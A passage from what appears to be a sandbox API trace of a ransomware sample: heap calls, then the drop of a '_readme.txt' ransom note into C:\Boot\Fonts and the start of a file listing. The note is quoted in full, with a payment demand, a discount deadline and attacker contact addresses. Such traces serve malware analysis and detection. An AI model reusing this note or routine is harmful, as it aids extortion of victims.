returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.431] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.432] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.433] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.434] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0066.434] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.434] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.434] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.434] PathFindFileNameW (pszPath="") returned="" [0066.434] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.435] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.435] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.435] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.435] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0066.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.435] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.435] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0066.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.436] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.436] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.436] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.436] CreateFileW (lpFileName="C:\\Boot\\Fonts\\_readme.txt" (normalized: "c:\\boot\\fonts\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.439] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.439] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.439] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.439] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.439] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.439] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.439] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.440] CloseHandle (hObject=0x5c4) returned 1 [0066.440] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.440] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.440] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.440] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.440] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.440] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.441] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.441] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0066.441] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0066.441] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0066.441] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, 